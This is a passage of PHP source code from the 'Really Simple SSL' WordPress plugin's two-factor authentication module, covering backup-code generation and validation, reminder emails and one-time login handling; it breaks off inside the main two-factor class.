 */
class Rsssl_Two_Factor_Backup_Codes extends Rsssl_Two_Factor_Provider {

	/**
	 * The user meta backup codes key.
	 *
	 * @type string
	 */
	public const BACKUP_CODES_META_KEY = '_rsssl_two_factor_backup_codes';

	/**
	 * The number backup codes.
	 *
	 * @type int
	 */
	public const NUMBER_OF_CODES = 10;

	/**
	 * Ensures only one instance of this class exists in memory at any one time.
	 *
	 * @since 0.1-dev
	 */
	public static function get_instance() {
		static $instance;
		$class = __CLASS__;
		if ( ! is_a( $instance, $class ) ) {
			$instance = new $class();
		}
		return $instance;
	}

	/**
	 * Class constructor.
	 *
	 * @since 0.1-dev
	 *
	 * @codeCoverageIgnore
	 */
	protected function __construct() {
		add_action( 'rest_api_init', array( $this, 'register_rest_routes' ) );
		add_action( 'two_factor_user_options_' . __CLASS__, array( $this, 'user_options' ) );
		add_action( 'admin_notices', array( $this, 'admin_notices' ) );

		parent::__construct();
	}

	/**
	 * Register the rest-api endpoints required for this provider.
	 *
	 * @codeCoverageIgnore
	 */
	public function register_rest_routes(): void {
		register_rest_route(
			Rsssl_Two_Factor::REST_NAMESPACE,
			'/generate-backup-codes',
			array(
				'methods'             => WP_REST_Server::CREATABLE,
				'callback'            => array( $this, 'rest_generate_codes' ),
				'permission_callback' => function ( $request ) {
					return current_user_can( 'edit_user', $request['user_id'] );
				},
				'args'                => array(
					'user_id'         => array(
						'required' => true,
						'type'     => 'integer',
					),
					'enable_provider' => array(
						'required' => false,
						'type'     => 'boolean',
						'default'  => false,
					),
				),
			)
		);
	}

	/**
	 * Displays an admin notice when backup codes have run out.
	 *
	 * @since 0.1-dev
	 *
	 * @codeCoverageIgnore
	 */
	public function admin_notices(): void {
		$user = wp_get_current_user();

		// Return if the provider is not enabled.
		if ( ! in_array( __CLASS__, Rsssl_Two_Factor::get_enabled_providers_for_user( $user->ID ), true ) ) {
			return;
		}

		// Return if not out of codes.
		if ( $this->is_available_for_user( $user ) ) {
			return;
		}
		?>
		<div class="error">
			<p>
				<span>
					<?php
					echo wp_kses(
						sprintf(
						/* translators: %s: URL for code regeneration */
							__( 'Two-Factor: You are out of backup codes and need to <a href="%s">regenerate!</a>', 'really-simple-ssl' ),
							esc_url( get_edit_user_link( $user->ID ) . '#two-factor-backup-codes' )
						),
						array( 'a' => array( 'href' => true ) )
					);
					?>
				<span>
			</p>
		</div>
		<?php
	}

	/**
	 * Returns the name of the provider.
	 *
	 * @since 0.1-dev
	 */
	public function get_label(): ?string {
		return _x( 'Backup Verification Codes (Single Use)', 'Provider Label', 'really-simple-ssl' );
	}

	/**
	 * Whether this Two Factor provider is configured and codes are available for the user specified.
	 *
	 * @since 0.1-dev
	 *
	 * @param WP_User $user WP_User object of the logged-in user.
	 * @return boolean
	 */
	public function is_available_for_user( $user ): bool {
		// Does this user have available codes?
		if ( 0 < self::codes_remaining_for_user( $user ) ) {
			return true;
		}
		return false;
	}

	/**
	 * Inserts markup at the end of the user profile field for this provider.
	 *
	 * @param WP_User $user WP_User object of the logged-in user.
	 *
	 * @since 0.1-dev
	 */
	public function user_options( WP_User $user ): void {
		wp_enqueue_script( 'wp-api-request' );
		wp_enqueue_script( 'jquery' );

		$count = self::codes_remaining_for_user( $user );
		?>
		<p id="two-factor-backup-codes">
			<button type="button" class="button button-two-factor-backup-codes-generate button-secondary hide-if-no-js">
				<?php esc_html_e( 'Generate Verification Codes', 'really-simple-ssl' ); ?>
			</button>
			<span class="two-factor-backup-codes-count">
			<?php
				echo esc_html(
					sprintf(
					/* translators: %s: count */
						_n( '%s unused code remaining.', '%s unused codes remaining.', $count, 'really-simple-ssl' ),
						$count
					)
				);
			?>
				</span>
		</p>
		<div class="two-factor-backup-codes-wrapper" style="display:none;">
			<ol class="two-factor-backup-codes-unused-codes"></ol>
			<p class="description"><?php esc_html_e( 'Write these down!  Once you navigate away from this page, you will not be able to view these codes again.', 'really-simple-ssl' ); ?></p>
			<p>
				<a class="button button-two-factor-backup-codes-download button-secondary hide-if-no-js" href="javascript:void(0);" id="two-factor-backup-codes-download-link" download="two-factor-backup-codes.txt"><?php esc_html_e( 'Download Codes', 'really-simple-ssl' ); ?></a>
			<p>
		</div>
		<script type="text/javascript">
			( function( $ ) {
				$( '.button-two-factor-backup-codes-generate' ).click( function() {
					wp.apiRequest( {
						method: 'POST',
						path: <?php echo wp_json_encode( Rsssl_Two_Factor::REST_NAMESPACE . '/generate-backup-codes' ); ?>,
						data: {
							user_id: <?php echo wp_json_encode( $user->ID ); ?>
						}
					} ).then( function( response ) {
						var $codesList = $( '.two-factor-backup-codes-unused-codes' );

						$( '.two-factor-backup-codes-wrapper' ).show();
						$codesList.html( '' );

						// Append the codes.
						for ( i = 0; i < response.codes.length; i++ ) {
							$codesList.append( '<li>' + response.codes[ i ] + '</li>' );
						}

						// Update counter.
						$( '.two-factor-backup-codes-count' ).html( response.i18n.count );
						$( '#two-factor-backup-codes-download-link' ).attr( 'href', response.download_link );
					} );
				} );
			} )( jQuery );
		</script>
		<?php
	}

	/**
	 * Generates backup codes & updates the user meta.
	 *
	 * @param WP_User $user WP_User object of the logged-in user.
	 * @param array   $args Optional arguments for assigning new codes.
	 *
	 * @return array
	 * @since 0.1-dev
	 */
	public static function generate_codes( WP_User $user, array $args = array() ): array {
		$codes        = array();
		$codes_hashed = array();

		// Check for arguments.
		if ( isset( $args['number'] ) ) {
			$num_codes = (int) $args['number'];
		} else {
			$num_codes = self::NUMBER_OF_CODES;
		}

		// Append or replace (default).
		if ( isset( $args['method'] ) && 'append' === $args['method'] ) {
			$codes_hashed = (array) get_user_meta( $user->ID, self::BACKUP_CODES_META_KEY, true );
		}

		for ( $i = 0; $i < $num_codes; $i++ ) {
			$code           = self::get_code();
			$codes_hashed[] = wp_hash_password( $code );
			$codes[]        = $code;
			unset( $code );
		}
		if ( isset( $args['cached'] ) && $args['cached'] ) {
			// Place the $codes in a transient for 5 minutes.
			set_transient( 'rsssl_two_factor_backup_codes_' . $user->ID, $codes, 300 );
		}
		update_user_meta( $user->ID, self::BACKUP_CODES_META_KEY, $codes_hashed );

		// Unhashed.
		return $codes;
	}

	/**
	 * Generates Backup Codes for returning through the WordPress Rest API.
	 *
	 * @param WP_REST_Request $request The WordPress REST request object.
	 *
	 * @since 0.8.0
	 */
	public function rest_generate_codes( WP_REST_Request $request ) {
		$user_id = $request['user_id'];
		$user    = get_user_by( 'id', $user_id );

		// Hardcode these, the user shouldn't be able to choose them.
		$args = array(
			'number' => self::NUMBER_OF_CODES,
			'method' => 'replace',
		);

		// Setup the return data.
		$codes = $this->generate_codes( $user, $args );
		$count = self::codes_remaining_for_user( $user );
		$title = sprintf(
			/* translators: %s: the site's domain */
			__( 'Two-Factor Backup Codes for %s', 'really-simple-ssl' ),
			home_url( '/' )
		);

		// Generate download content.
		$download_link  = 'data:application/text;charset=utf-8,';
		$download_link .= rawurlencode( "{$title}\r\n\r\n" );

		$i = 1;
		foreach ( $codes as $code ) {
			$download_link .= rawurlencode( "{$i}. {$code}\r\n" );
			++$i;
		}

		$i18n = array(
			/* translators: %s: count */
			'count' => esc_html( sprintf( _n( '%s unused code remaining.', '%s unused codes remaining.', $count, 'really-simple-ssl' ), $count ) ),
		);

		if ( $request->get_param( 'enable_provider' ) && ! Rsssl_Two_Factor::enable_provider_for_user( $user_id, 'Two_Factor_Backup_Codes' ) ) {
			return new WP_Error( 'db_error', __( 'Unable to enable Backup Codes provider for this user.', 'really-simple-ssl' ), array( 'status' => 500 ) );
		}

		return array(
			'codes'         => $codes,
			'download_link' => $download_link,
			'remaining'     => $count,
			'i18n'          => $i18n,
		);
	}

	/**
	 * Returns the number of unused codes for the specified user
	 *
	 * @param WP_User $user WP_User object of the logged-in user.
	 * @return int $int  The number of unused codes remaining
	 */
	public static function codes_remaining_for_user( $user ) {
		$backup_codes = get_user_meta( $user->ID, self::BACKUP_CODES_META_KEY, true );
		if ( is_array( $backup_codes ) && ! empty( $backup_codes ) ) {
			return count( $backup_codes );
		}
		return 0;
	}

	/**
	 * Prints the form that prompts the user to authenticate.
	 *
	 * @param WP_User $user WP_User object of the logged-in user.
	 *
	 * @since 0.1-dev
	 */
	public function authentication_page( WP_User $user ) {
		require_once ABSPATH . '/wp-admin/includes/template.php';
		?>
		<p class="two-factor-prompt"><?php esc_html_e( 'Enter a backup verification code.', 'really-simple-ssl' ); ?></p>
		<p>
			<label for="authcode"><?php esc_html_e( 'Verification Code:', 'really-simple-ssl' ); ?></label>
			<input type="text" inputmode="numeric" name="two-factor-backup-code" id="authcode" class="input authcode" value="" size="20" pattern="[0-9 ]*" placeholder="1234 5678" data-digits="8" />
		</p>
		<?php
		submit_button( __( 'Submit', 'really-simple-ssl' ) );
	}

	/**
	 * Validates the users input token.
	 *
	 * In this class just return true.
	 *
	 * @since 0.1-dev
	 *
	 * @param WP_User $user WP_User object of the logged-in user.
	 * @return boolean
	 */
	public function validate_authentication( $user ) {
		$backup_code = self::sanitize_code_from_request( 'two-factor-backup-code' );
		if ( ! $backup_code ) {
			return false;
		}

		return self::validate_code( $user, $backup_code );
	}

	/**
	 * Validates a backup code.
	 *
	 * Backup Codes are single use and are deleted upon a successful validation.
	 *
	 * @param WP_User $user WP_User object of the logged-in user.
	 * @param int $code The backup code.
	 * @return boolean
	 *@since 0.1-dev
	 *
	 */
	public static function validate_code(WP_User $user, int $code, bool $delete = true): bool {
		$backup_codes = get_user_meta( $user->ID, self::BACKUP_CODES_META_KEY, true );

		if ( is_array( $backup_codes ) && ! empty( $backup_codes ) ) {
			foreach ( $backup_codes as $code_index => $code_hashed ) {
				if ( wp_check_password( $code, $code_hashed, $user->ID ) ) {
                    if ( $delete ) {
                        self::delete_code( $user, $code_hashed );
                    }
					return true;
				}
			}
		}
		return false;
	}

	/**
	 * Deletes a backup code.
	 *
	 * @param WP_User $user WP_User object of the logged-in user.
	 * @param  string  $code_hashed The hashed the backup code.
	 *
	 * @since 0.1-dev
	 */
	public static function delete_code( WP_User $user, string $code_hashed ): void {
		$backup_codes = get_user_meta( $user->ID, self::BACKUP_CODES_META_KEY, true );

		// Delete the current code from the list since it's been used.
		$backup_codes = array_flip( $backup_codes );
		unset( $backup_codes[ $code_hashed ] );
		$backup_codes = array_values( array_flip( $backup_codes ) );

		// Update the backup code master list.
		update_user_meta( $user->ID, self::BACKUP_CODES_META_KEY, $backup_codes );
	}

	/**
	 * Determines if a user is selectable for a specific authentication method.
	 *
	 * @param  WP_User $user  The user object to check.
	 *
	 * @return bool Returns true if the user is selectable for the authentication method, false otherwise.
	 */
	public static function is_selectable_for_user( WP_User $user ): bool {
		// TODO: Logic for when backup codes are needed (for now only totp).
		if ( Rsssl_Two_Factor_Totp::is_selectable_for_user( $user ) ) {
			return true;
		}
		return false;
	}
}
really-simple-ssl/security/wordpress/two-fa/class-rsssl-two-factor.php000064400000211147147510273070022277 0ustar00<?php
/**
 * This package is based on the WordPress feature plugin https://wordpress.org/plugins/two-factor/
 *
 * Class for creating two-factor authorization.
 *
 * @since 7.0.6
 * @noinspection OffsetOperationsInspection
 * @noinspection UnknownInspectionInspection
 * @package RSSSL\Pro\Security\WordPress\Two_Fa
 */

namespace RSSSL\Security\WordPress\Two_Fa;

use Exception;
use RSSSL\Security\WordPress\Two_Fa\Traits\Rsssl_Email_Trait;
use WP_Error;
use WP_Session_Tokens;
use WP_User;
use rsssl_mailer;

$rsssl_two_factor_compat = new Rsssl_Two_Factor_Compat();

/**
 * Class Rsssl_Two_Factor.
 *
 * The Rsssl_Two_Factor class provides methods for managing two-factor authentication for users.
 *
 * @package Rsssl
 */
class Rsssl_Two_Factor
{
    use Rsssl_Email_Trait;

    /**
     * The user meta key to store the last failed timestamp.
     *
     * @type string
     */
    public const RSSSL_USER_RATE_LIMIT_KEY = '_rsssl_two_factor_last_login_failure';

    /**
     * The user meta key to store the number of failed login attempts.
     *
     * @var string
     */
    public const RSSSL_USER_FAILED_LOGIN_ATTEMPTS_KEY = '_rsssl_two_factor_failed_login_attempts';

    /**
     * The user meta key to store whether the password was reset.
     *
     * @var string
     */
    public const RSSSL_USER_PASSWORD_WAS_RESET_KEY = '_rsssl_two_factor_password_was_reset';

    public const WEIGHT = array(
        Rsssl_Two_Factor_Totp::class,
        Rsssl_Two_Factor_Email::class,
    );

    /**
     * URL query parameter used for our custom actions.
     *
     * @var string
     */
    public const RSSSL_USER_SETTINGS_ACTION_QUERY_VAR = 'rsssl_two_factor_action';

    /**
     * Nonce key for user settings.
     *
     * @var string
     */
    public const RSSSL_USER_SETTINGS_ACTION_NONCE_QUERY_ARG = '_rsssl_two_factor_action_nonce';
    public const RSSSL_USER_META_ONBOARDING_COMPLETE = 'rsssl_two_fa_onboarding_complete';


    /**
     * Namespace for plugin rest api endpoints.
     *
     * @var string
     */
    public const REST_NAMESPACE = 'rsssl';

    /**
     * Keep track of all the password-based authentication sessions that
     * need to invalidated before the second factor authentication.
     *
     * @var array
     */
    private static $password_auth_tokens = array();

    /**
     * Set up filters and actions.
     *
     * @param object $compat A compatibility layer for plugins.
     *
     * @since 0.1-dev
     */
    public static function add_hooks(object $compat): void
    {
	    if ( ( defined( 'RSSSL_DISABLE_2FA' ) && RSSSL_DISABLE_2FA ) || ( defined( 'RSSSL_SAFE_MODE' ) && RSSSL_SAFE_MODE ) ) {
		    if ( rsssl_admin_logged_in() ) {
			    ( new Rsssl_Two_Factor_Admin() );
		    }

		    ( new Rsssl_Two_Factor_On_Board_Api() );
		    if ( is_user_logged_in() ) {
			    ( new Rsssl_Two_Factor_Profile_Settings() );
		    }

		    return;
	    }

        /**
         * Runs the fix for the reset error in 9.1.1
         */
	    if (filter_var(get_option('rsssl_reset_fix', false), FILTER_VALIDATE_BOOLEAN)) {
		    RSSSL_Two_Factor_Reset_Factory::reset_fix();
	    }

//		add_action( 'login_enqueue_scripts', array( __CLASS__, 'twofa_scripts' ) );
        add_action('init', array(Rsssl_Provider_Loader::class, 'get_providers'));
        add_action('wp_login', array(__CLASS__, 'rsssl_wp_login'), 10, 2);
        add_action('wp_login_errors', array(__CLASS__, 'show_expired_onboarding_error'));
        add_filter('wp_login_errors', array(__CLASS__, 'rsssl_maybe_show_reset_password_notice'));
        add_action('after_password_reset', array(__CLASS__, 'rsssl_clear_password_reset_notice'));
        add_action('login_form_validate_2fa', array(__CLASS__, 'rsssl_login_form_validate_2fa'));
        // Loading the styles.
        add_action('login_enqueue_scripts', array(__CLASS__, 'enqueue_onboarding_styles'));
        if (rsssl_admin_logged_in()) {
            (new Rsssl_Two_Factor_Admin());
        }

        (new Rsssl_Two_Factor_On_Board_Api());
        if(is_user_logged_in()) {
            (new Rsssl_Two_Factor_Profile_Settings());
        }

        //add_action('rsssl_upgrade',  array(__CLASS__, 'upgrade'));
        self::upgrade();
        // Add the localized script for WP_REST.

        /**
         * Keep track of all the user sessions for which we need to invalidate the
         * authentication cookies set during the initial password check.
         *
         * Is there a better way of doing this?
         */
        add_action('set_auth_cookie', array(__CLASS__, 'rsssl_collect_auth_cookie_tokens'));
        add_action('set_logged_in_cookie', array(__CLASS__, 'rsssl_collect_auth_cookie_tokens'));
        if (isset($_GET['rsssl_one_time_login']) && isset($_GET['_wpnonce'])) {
            $nonce = sanitize_text_field(wp_unslash($_GET['_wpnonce']));

            if (wp_verify_nonce($nonce)) {
                add_action('init', array(__CLASS__, 'maybe_skip_auth'));
            }
	        self::maybe_skip_auth();
        }

        add_action('init', array(__CLASS__, 'rsssl_collect_auth_cookie_tokens'));

        // Run only after the core wp_authenticate_username_password() check.
        add_filter('authenticate', array(__CLASS__, 'rsssl_filter_authenticate'));
//
//        // Run as late as possible to prevent other plugins from unintentionally bypassing.
        add_filter('authenticate', array(__CLASS__, 'rsssl_filter_authenticate_block_cookies'), PHP_INT_MAX);
        add_action('admin_init', array(__CLASS__, 'rsssl_enable_dummy_method_for_debug'));
        add_filter('rsssl_two_factor_providers', array(__CLASS__, 'enable_dummy_method_for_debug'));
	    add_action( 'rsssl_daily_cron', array( __CLASS__, 'maybe_send_reminder_email' ) );

        $compat->init();
    }

	/**
	 * @return void
	 *
	 * Send a reminder e-mail if Two FA has not been configured within 3 days.
	 */
	public static function maybe_send_reminder_email() {
		$roles = rsssl_get_option('two_fa_forced_roles');
		// If no roles are set, we'll get all users
		if ( empty( $roles ) ) {
			// No users with 'open' status
			return;
		} else {
			$args = array(
				'role__in' => $roles,
			);
		}

		$users = get_users( $args );

		// Get users where meta_key rsssl_two_fa_status_totp or rsssl_two_fa_status_email does not exist or is not set to 'active'
		$users_in_grace_period_without_two_fa = array();
		foreach ( $users as $user ) {
			$statusses = Rsssl_Two_Fa_Status::get_user_two_fa_status( $user );
			$methods   = Rsssl_Provider_Loader::METHODS;
            // if the status active is in the array, we don't need to send a reminder.
            if ( in_array('active', $statusses, true) ) {
                continue;
            }

            $users_in_grace_period_without_two_fa[] = $user;
		}

		foreach ( $users_in_grace_period_without_two_fa as $user ) {

			$user_id         = $user->ID;
			$two_fa_reminder_sent = get_user_meta( $user_id, 'rsssl_two_fa_reminder_sent', true );

			if ( $two_fa_reminder_sent ) {
				continue;
			}
			// Get grace period for user
			$remaining_grace_period = Rsssl_Two_Factor_Settings::is_user_in_grace_period( $user );
			$grace_period_setting   = rsssl_get_option( 'two_fa_grace_period' );

			// If grace period setting is 1 day, and remaining grace period greater than 3, continue to next user
			if ( $grace_period_setting == 1 || $remaining_grace_period > 3 ) {
				continue;
			}

			if ( ! class_exists( 'rsssl_mailer' ) ) {
				require_once rsssl_path . 'mailer/class-mail.php';
			}

			$subject = __( "Important security notice", "really-simple-ssl" );

			$login_url = wp_login_url();
			// Check if a custom login URL is set in Really Simple SSL
			if ( function_exists( 'rsssl_get_option' ) && rsssl_get_option( 'change_login_url_enabled' ) !== false && ! empty( rsssl_get_option( 'change_login_url' ) ) ) {
				$login_url = trailingslashit( site_url() ) . rsssl_get_option( 'change_login_url' );
			}

			$login_link = sprintf('<a href="%s">%s</a>', esc_url($login_url), __('Please login', 'really-simple-ssl'));

			$message = sprintf(
			/* translators:
			1: Site URL.
			*/
				__("You are receiving this email because you have an account registered at %s.", "really-simple-ssl"),
				site_url(),
			);

            $message .= "<br><br>";

			$message .= sprintf(
			/* translators:
			1: Login link with the text "Please login".
			2: Opening <strong> tag to emphasize the "within three days" text.
			3: Closing </strong> tag for "within three days".
			4: Opening <strong> tag to emphasize "you will be unable to login".
			5 Closing </strong> tag for "you will be unable to login".
			*/

                __("The site's security policy requires you to configure Two-Factor Authentication to protect against account theft. %1\$s and configure Two-Factor authentication %2\$swithin three days%3\$s. If you haven't performed the configuration by then, %4\$syou will be unable to login%5\$s.", "really-simple-ssl"),
				$login_link,
				'<strong>',
				'</strong>',
				'<strong>',
				'</strong>'
			);

			$mailer                    = new rsssl_mailer();
			$mailer->subject           = $subject;
			$mailer->branded           = false;
			$mailer->sent_by_text      = "<b>".sprintf( __( 'Notification by %s', 'really-simple-ssl' ), site_url() )."</b>";
			$mailer->template_filename = apply_filters( 'rsssl_email_template', rsssl_path . '/mailer/templates/email-unbranded.html' );
			$mailer->to                = $user->user_email;
			$mailer->title             = sprintf( __( "Hi %s %s", "really-simple-ssl" ), trim( $user->first_name ), trim( $user->last_name ) ) . ',';
			$mailer->message           = $message;
			$mailer->send_mail();

			// Update meta to set reminder e-mail send, add check in beginning of function.
			update_user_meta( $user_id, 'rsssl_two_fa_reminder_sent', true );
		}
	}

    /**
     * Upgrade the two-factor login configuration.
     *
     * This method updates the configuration of two-factor login if necessary.
     * It checks if the login protection is enabled, if the plugin has been upgraded,
     * and if the enabled roles for email and TOTP need to be updated.
     *
     * @return void
     */
    public static function upgrade(): void
    {
        if (rsssl_get_option('login_protection_enabled') && get_option('rsssl_two_fa_upgrade', false) === false) {
            // The way roles configuration was has now been changed. This means the forced roles and enabled roles need to change.
            $forced_roles = rsssl_get_option('two_fa_forced_roles');
            $optional_roles = rsssl_get_option('two_fa_optional_roles');

            $forced_roles = ($forced_roles !== false) ? $forced_roles : [];
            $optional_roles = ($optional_roles !== false) ? $optional_roles : [];

            // Merge the forced and optional roles into one array with unique values.
            $enabled_roles = array_unique(array_merge($forced_roles, $optional_roles));

            if (empty($optional_roles)) {
                // no roles were set so ending the upgrade.
                return;
            }

            if (function_exists('rsssl_update_option')) {
                // Update the enabled roles for only email.
                rsssl_update_option('two_fa_enabled_roles_email', $enabled_roles);
                rsssl_update_option('two_fa_enabled_roles_totp', ['administrator']);
                // update the forced roles.
                rsssl_update_option('two_fa_forced_roles', $forced_roles);
            }

            // fetching the users that have active 2FA enabled.
            $users = get_users(array('meta_key' => 'rsssl_two_fa_status_email', 'meta_value' => 'active'));
            foreach ($users as $user) {
                // We set the user status to active.
                Rsssl_Two_Factor_Email::set_user_status($user->ID, 'active');
                // We disable the TOTP.
                Rsssl_Two_Factor_Totp::set_user_status($user->ID, 'disabled');
            }
            update_option('rsssl_two_fa_upgrade', rsssl_version, false);
        }
    }

    /**
     * Enqueue the two-factor authentication scripts.
     *
     * @return void
     *
     * Allow 2FA bypass if status is open.
     */
    public static function maybe_skip_auth(): void
    {

        if (isset($_GET['rsssl_one_time_login'], $_GET['token'], $_GET['_wpnonce'])) {

            // Unslash and sanitize.
            $rsssl_one_time_login = sanitize_text_field(wp_unslash($_GET['rsssl_one_time_login']));
            $user_id = (int)Rsssl_Two_Factor_Settings::deobfuscate_user_id($rsssl_one_time_login);
            $user = get_user_by('id', $user_id);

            // Verify the nonce.
            $nonce = sanitize_text_field(wp_unslash($_GET['_wpnonce']));
            if (!wp_verify_nonce($nonce, 'one_time_login_' . $user_id)) {
                wp_safe_redirect(wp_login_url() . '?login_error=nonce_invalid');
                exit;
            }

            // Retrieve the stored token from the transient.
            $stored_token = get_transient('skip_two_fa_token_' . $user_id);

            // Check if the token is valid and not expired.
            $token = sanitize_text_field(wp_unslash($_GET['token']));
            if ($user && $stored_token && hash_equals($stored_token, $token)) {

                // Delete the transient to invalidate the token.
                delete_transient('skip_two_fa_token_' . $user_id);

                $provider = get_user_meta($user->ID, 'rsssl_two_fa_status_email', true);

                // Only allow skipping for users which have 2FA value open.
                if (isset($_GET['rsssl_two_fa_disable']) && 'open' === $provider) {
                    update_user_meta($user_id, 'rsssl_two_fa_status_email', 'disabled');
                }

                if ('open' === Rsssl_Two_Factor_Settings::get_user_status('email', $user_id)) {
                    update_user_meta($user_id, 'rsssl_two_fa_status', 'active');
                    update_user_meta($user_id, 'rsssl_two_fa_status_email', 'active');
                    update_user_meta($user_id, 'rsssl_two_fa_status_totp', 'disabled');
	                delete_user_meta( $user_id, '_rsssl_factor_email_token' );
                }

                wp_set_auth_cookie($user_id);
                wp_safe_redirect(admin_url());
                exit;
            }

            // The token is invalid or expired.
            // Redirect to the login page with an error message or handle it as needed.
            wp_safe_redirect(wp_login_url() . '?login_error=token_invalid');
            exit;
        }
    }

    /**
     * Enable the dummy method only during debugging.
     *
     * @param array $methods List of enabled methods.
     *
     * @return array
     */
    public static function enable_dummy_method_for_debug(array $methods): array
    {
        if (!self::is_wp_debug()) {
            unset($methods['Two_Factor_Dummy']);
        }

        return $methods;
    }

    /**
     * Check if the debug mode is enabled.
     *
     * @return boolean
     */
    protected static function is_wp_debug(): bool
    {
        return (defined('WP_DEBUG') && WP_DEBUG);
    }

    /**
     * Get the user settings page URL.
     *
     * Fetch this from the plugin core after we introduce proper dependency injection
     * and get away from the singletons at the provider level (should be handled by core).
     *
     * @param integer $user_id User ID.
     *
     * @return string
     */
    protected static function get_user_settings_page_url(int $user_id): string
    {
        $page = 'user-edit.php';

        if (defined('IS_PROFILE_PAGE') && IS_PROFILE_PAGE) {
            $page = 'profile.php';
        }

        return add_query_arg(
            array(
                'rsssl_user_id' => (int)$user_id,
            ),
            self_admin_url($page)
        );
    }

    /**
     * Get the URL for resetting the secret token.
     * TODO: Ask Mark if still needed.
     *
     * @param integer $user_id User ID.
     * @param string $action Custom two factor action key.
     *
     * @return string
     */
    public static function get_user_update_action_url(int $user_id, string $action): string
    {
        return wp_nonce_url(
            add_query_arg(
                array(
                    self::RSSSL_USER_SETTINGS_ACTION_QUERY_VAR => $action,
                ),
                self::get_user_settings_page_url($user_id)
            ),
            sprintf('%d-%s', $user_id, $action),
            self::RSSSL_USER_SETTINGS_ACTION_NONCE_QUERY_ARG
        );
    }

    /**
     * Check if a user action is valid.
     *
     * @param integer $user_id User ID.
     * @param string $action User action ID.
     *
     * @return boolean
     */
    public static function is_valid_user_action(int $user_id, string $action): bool
    {
        $request_nonce = isset($_REQUEST[self::RSSSL_USER_SETTINGS_ACTION_NONCE_QUERY_ARG]) ? sanitize_text_field(wp_unslash($_REQUEST[self::RSSSL_USER_SETTINGS_ACTION_NONCE_QUERY_ARG])) : '';

        if (!$user_id || !$action || !$request_nonce) {
            return false;
        }

        return wp_verify_nonce(
            $request_nonce,
            sprintf('%d-%s', $user_id, $action)
        );
    }

    /**
     * Get the ID of the user being edited.
     *
     * @return integer
     */
    public static function current_user_being_edited(): int
    {
        // Try to resolve the user ID from the request first.
        if (!empty($_REQUEST['rsssl_user_id']) && !empty($_REQUEST['rsssl-action-nonce'])) {
            if (!wp_verify_nonce(sanitize_text_field(wp_unslash($_REQUEST['rsssl-action-nonce'])), 'rsssl-user-action')) {
                wp_die('Invalid nonce');
            }

            $user_id = (int)$_REQUEST['rsssl_user_id'];
            if (current_user_can('edit_user', $user_id)) {
                return $user_id;
            }
        }
        return get_current_user_id();
    }

    /**
     * Trigger our custom update action if a valid
     * action request is detected and passes the nonce check.
     *
     * @return void
     */
    public static function rsssl_enable_dummy_method_for_debug(): void
    {
        $nonce = isset($_POST['nonce_field']) ? sanitize_text_field(wp_unslash($_POST['nonce_field'])) : '';
        // Verify the nonce.
        if (!wp_verify_nonce($nonce, 'rsssl_user_action')) {
            return;
        }
        $action = isset($_REQUEST[self::RSSSL_USER_SETTINGS_ACTION_QUERY_VAR]) ? sanitize_text_field(wp_unslash($_REQUEST[self::RSSSL_USER_SETTINGS_ACTION_QUERY_VAR])) : '';
        $user_id = self::current_user_being_edited();

        if (self::is_valid_user_action($user_id, $action)) {
            /**
             * This action is triggered when a valid Two Factor settings
             * action is detected, and it passes the nonce validation.
             *
             * @param integer $user_id User ID.
             * @param string $action Settings action.
             */
            do_action('rsssl_two_factor_user_settings_action', $user_id, $action);
        }
    }

    /**
     * Keep track of all the authentication cookies that need to be
     * invalidated before the second factor authentication.
     *
     * @param string $cookie Cookie string.
     *
     * @return void
     */
    public static function rsssl_collect_auth_cookie_tokens(string $cookie): void
    {
        $parsed = wp_parse_auth_cookie($cookie);

        if (!empty($parsed['token'])) {
            self::$password_auth_tokens[] = $parsed['token'];
        }
    }

    /**
     * Get all Two-Factor Auth providers that are both enabled and configured for the specified|current user.
     *
     * @param WP_User $user Optional. User ID, or WP_User object of the user. Defaults to current user.
     *
     * @return array
     */
    public static function get_available_providers_for_user(WP_User $user): array
    {
        return self::get_configured_providers($user);
    }

    /**
     * Get the list of configured providers for a given user.
     *
     * @param WP_User $user The user object.
     *
     * @return array The list of configured providers.
     */
    private static function get_configured_providers(WP_User $user): array
    {
        $providers = Rsssl_Provider_Loader::get_providers();
        $enabled_providers = Rsssl_Provider_Loader::get_enabled_providers_for_user($user);
        $configured_providers = array();
        foreach ($providers as $classname => $provider) {
            if (in_array($classname, $enabled_providers, true) && $provider::is_configured($user)) {
                $configured_providers[$classname] = $provider;
            }
        }
        if(empty($configured_providers)) {
            foreach ( $providers as $classname => $provider ) {
                if ( in_array( $classname, $enabled_providers, true ) && $provider::is_enabled( $user ) ) {
                    $configured_providers[ $classname ] = $provider;
                }
            }
        }

        return $configured_providers;
    }

    /**
     * Gets the Two-Factor Auth provider for the specified|current user.
     *
     * @param WP_User $user Optional. User ID, or WP_User object of the user. Defaults to current user.
     *
     * @return object|null
     * @since 0.1-dev
     */
    public static function get_primary_provider_for_user(WP_User $user): ?object
    {

        $providers = Rsssl_Provider_Loader::get_providers();
        $available_providers = self::get_available_providers_for_user($user);

        // If there's only one available provider, force that to be the primary.
        if (empty($available_providers)) {
            return null;
        }

        if (1 === count($available_providers)) {
            $provider = key($available_providers);
        } else {
            $provider = Rsssl_Provider_Loader::get_user_enabled_providers($user);
            // Check if already a provider is active.

            // If the provider specified isn't enabled, just grab the first one that is based on the Weight.
            $best_valued_provider = self::WEIGHT[0];

            if (isset($available_providers[$best_valued_provider]) && $best_valued_provider::is_enabled($user)) {
                $provider = $best_valued_provider;
            } else {
                $provider = key($available_providers);
            }
        }

        /**
         * Filter the two-factor authentication provider used for this user.
         *
         * @param string $provider The provider currently being used.
         * @param int $user_id The user ID.
         */
        $provider = apply_filters('rsssl_two_factor_primary_provider_for_user', $provider, $user->ID);

        return $providers[$provider] ?? null;
    }

    /**
     * Quick boolean check for whether a given user is using two-step.
     * TODO: No longer needed?
     *
     * @param WP_User $user Optional. User ID, or WP_User object of the user. Defaults to current user.
     *
     * @return bool
     * @since 0.1-dev
     */
    public static function is_user_using_two_factor(WP_User $user): bool
    {
        $provider = self::get_primary_provider_for_user($user);

        $enabled_providers_meta = Rsssl_Provider_Loader::get_user_enabled_providers($user);
        // Initialize as empty arrays if they are empty.
        $two_fa_forced_roles = rsssl_get_option('two_fa_forced_roles');
        $two_fa_optional_roles = rsssl_get_option('two_fa_enabled_roles_email');
        $two_fa_optional_roles_totp = rsssl_get_option('two_fa_enabled_roles_totp');

        //ensure an array for all.
        if (!is_array($two_fa_forced_roles)) $two_fa_forced_roles = [];
        if (!is_array($two_fa_optional_roles)) $two_fa_optional_roles = [];
        if (!is_array($two_fa_optional_roles_totp)) $two_fa_optional_roles_totp = [];
